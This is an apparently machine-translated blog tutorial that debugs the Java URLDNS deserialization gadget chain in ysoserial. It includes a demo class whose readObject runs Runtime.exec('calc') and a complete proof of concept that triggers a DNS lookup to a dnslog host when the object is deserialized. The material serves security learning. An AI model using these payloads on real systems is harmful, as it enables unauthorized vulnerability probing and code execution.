Java deserialization (0): URLDNS deserialization debugging analysis

The URLDNS chain is the 0th lesson of Java deserialization analysis, and there are many high-quality analysis articles on the Internet.

As a beginner in Java security, the author also debugged from 0 to 1, and now I give debugging notes.

1. Java deserialization pre-knowledge

Java native chain serialization: use the writerObject method of the output stream of the Java.io.ObjectInputStream object to implement the Serializable interface, and convert the object into a byte sequence.

Java native chain deserialization: use the readObject method of the Java.io.ObjectOutputStream object input stream to convert the byte sequence into an object.

The test source code is as follows. This part of the source code refers to the blog of master ol4three:

package serialize;

import java.io.*;

public class deserTest implements Serializable {
    private int n;
    public deserTest(int n) {
        this.n=n;
    }

    @Override
    public String toString() {
        return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
                + super.toString() + "]";
    }

    // 反序列化
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();     
        Runtime.getRuntime().exec("calc");   
        System.out.println("test");
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);
        operation1.ser(x);
        operation1.deser();
        x.toString();
    }
}


// 实现序列化和反序列化具体细节的类
class operation1{

    // 将输出字节流写入文件中进行封存
    public static void ser(Object obj) {
        // 序列化操作,写操作
        try {
             // 首先文件落地object.obj存储输出流,绑定输出流           
            ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));

            // 重定向将输出流字节写入文件
            ooStream.writeObject(obj);
            
            ooStream.flush();
            ooStream.close();

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
    
    
    public static void deser() {
        // 反序列化,读取操作
        try {
            // 绑定输入流
            ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
            
            // 反序列化时需要从相关的文件容器中读取输出的字节流
            // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
            Object xObject = iiStream.readObject();
            iiStream.close();
        } catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}
fd52da30d9a98a61d7586fb60e74483c.png

Two. Ysoserial environment construction

IDE just use JetBrains IDEA directly

Take the Java security payload integration tool ysoserial directly for analysis, there is already a ready-made environment in it

https://github.com/frohoff/ysoserial

Pay attention to configure the corresponding JDKand SDKversion:

48551f43846b16bcccdff969cfef3634.png

3. URLDNS attack chain

  • • Affected version issues: It has nothing to do with the JDK version, and its attack chain implementation depends on Java built-in classes, and has nothing to do with third-party libraries

  • • The URLDNS deserialization chain can only initiate DNS requests and cannot be used for other purposes. It can be used as a gesture to verify whether there is a deserialization vulnerability

debug analysis

Gadget Chain:

Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->

getHostAddress()

Perform domain name resolution in the getHostAddress function, so that it can be captured by the DNSLog platform

URLDNS program entry

There are files under ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.javathe pathURLDNS.java

mainrun函数The breakpoint of the main function enters

f52a280aa5bd208b7a861a14ef328913.png

ysoserial-masterThe running structure of this payloadis roughly that there is a special PayloadRunnerrunning program, and then it is called uniformly to run each part.payload

The first is to serialize:

4fb2a0243bb7abe39b43d293c1413e17.png ccb870119389b7dab7d3511a0b733f13.png

Continue to generate command, because it is to analyze URLDNSthe attack chain, so you only need to modify dnslogthe temporary address that will return the value

d2a9c3047f525791c341728dee1749a1.png

After creating an instance, enter the URLDNSfunctiongetObjectpayload

e22742324593043d32788f84686fc519.png

What should be noted in the getObject function is: the HashMap object and the URL object are declared, and the put hash binding is performed, and finally the scope is set

2c05670c6250aabd0a1bf1e0430464fa.png e70d71b50f22b3c6956d7929345ee934.png

Deserialization chain:

Breakpoint at deserialization entry:

e43bb54cccb5a178d9764186b1afde15.png

readObjectfunction called while deserializing

566ca1eaccb2f76013ff800d9b00739a.png

Then enter HashMap.javathe readObjectfunction

396bc032c061bcfa67e27b72b3009f4a.png

readObjectDebugging to this line in , here , putvalthis IDEAfunction IDEthat can be selected to enter, directly enter the latterhash

Since we read in the byte sequence and need to restore it to the corresponding object structure, then we need to re-putval

5d7e7a56c7775ca4462b04d2b5120467.png

If the input keyis not empty, executekey.hashCode

2ed41c378321ee154ce04f0cd09aadff.png

further URL.javadown the file

18dce52e0b8041abe17cc3fe8812f856.png

entered URLStreamHandler_hashCode

7b03f4b4c89210d8785ee38753a3073f.png fc9ce31f2bec327e639a5d969211557e.png 869a9b0b24adfc58ff220aef1da8ec22.png

produces parse:

45b18bcc3e0b228f48de2721f6a80ff5.png

In general, the idea of ​​using the chain is as follows:

When deserializing the URLDNS object, it is also necessary to deserialize the HashMap object, thus calling the rewriting function of HashMap.readObject(), which calls the related reconstruction functions of the hash table putval, etc., and calls it under the hashcode The getHostAddress function

Then, on the contrary, why the getHostAddress function was not called when it was first declared, and now the function route of the declaration is given:

ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()

The function has an empty implementation

List the key functions on several routes to see:

99f230fa44aa0a5d7822fc36aeabe175.png 224d38a07b6f80b1f5d8093c9de8de30.png

Since here keyis Stringthe type, enterString.hashCode

f10c52f22991cdf18031501be7b55c5a.png

By contrast, in deserialization keyfor URLtype

82988dc04099ba6e26e0002eb8909ece.png

Set not to initiate dns resolution

295774a6218f531fb4a469cee8bb3abe.png 2d1bf8db9447d13eae37c02826f73963.png

For the specific execution flow, you can look at the sequence diagram, and I won’t talk about it^^

6589c155c620dc009945122da4763d32.png

4. Use of URLDNS chain

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class Main{


    // 序列化前不发生dns解析
    static class SilentURLStreamHandler extends URLStreamHandler{
        protected URLConnection openConnection(URL n) throws IOException{
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL n)
        {
            return null;
        }
    }

    public static void main(String[] args) throws Exception{

        HashMap hashMap = new HashMap();

        // 设置put时不发起dns解析
        URLStreamHandler handler = new Main.SilentURLStreamHandler();
        URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);


        // 利用Java反射机制在动态执行时获取类
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);

        hashMap.put(url, "123");
        f.set(url, -1);

        // 对象输出流绑定文件输出流
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap); // 序列化

        // 对象输入流绑定文件输入流
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();   // 反序列化

    }

}
870cdabc06945b9974d86c8eb4f284bc.png

5. Reference link

  1. 1. https://mp.weixin.qq.com/s?__biz=MzkzMjIxNjExNg==&mid=2247484593&idx=1&sn=af18249e33ce1fcb5a7a7e291539fb5b&chksm=c25e68eaf529e1fcd6d0aa44669701f6b3f500879981068739e7da7db9231aef58046d21a7b1&mpshare=1&scene=23&srcid=07062zWZwVvMV7sBFtUKJmnY&sharer_sharetime=1688647927861&sharer_shareid=5d34a82156e695048b7333a05ed3ea5a#rd

  2. 2. https://www.yulate.com/275.html

  3. 3. https://fireline.fun/2021/06/04/Java%20ysoserial%E5%AD%A6%E4%B9%A0%E4%B9%8BURLDNS(%E4%B8%80)/#0x03-%E4%BB%A3%E7%A0%81%E6%A8%A1%E6%8B%9F

b13131fafc56c0e7d432283569d005db.jpeg

Call for original manuscripts

Call for original technical articles, welcome to post

Submission email: [email protected]

Article type: hacker geek technology, information security hotspots, security research and analysis, etc.

If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.

For more details, click me to view!

0940a90504633f4a5e4bb8ac4b8bd6e6.gif

Practical operations close to the real environment, click "Read the original text "

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/131714636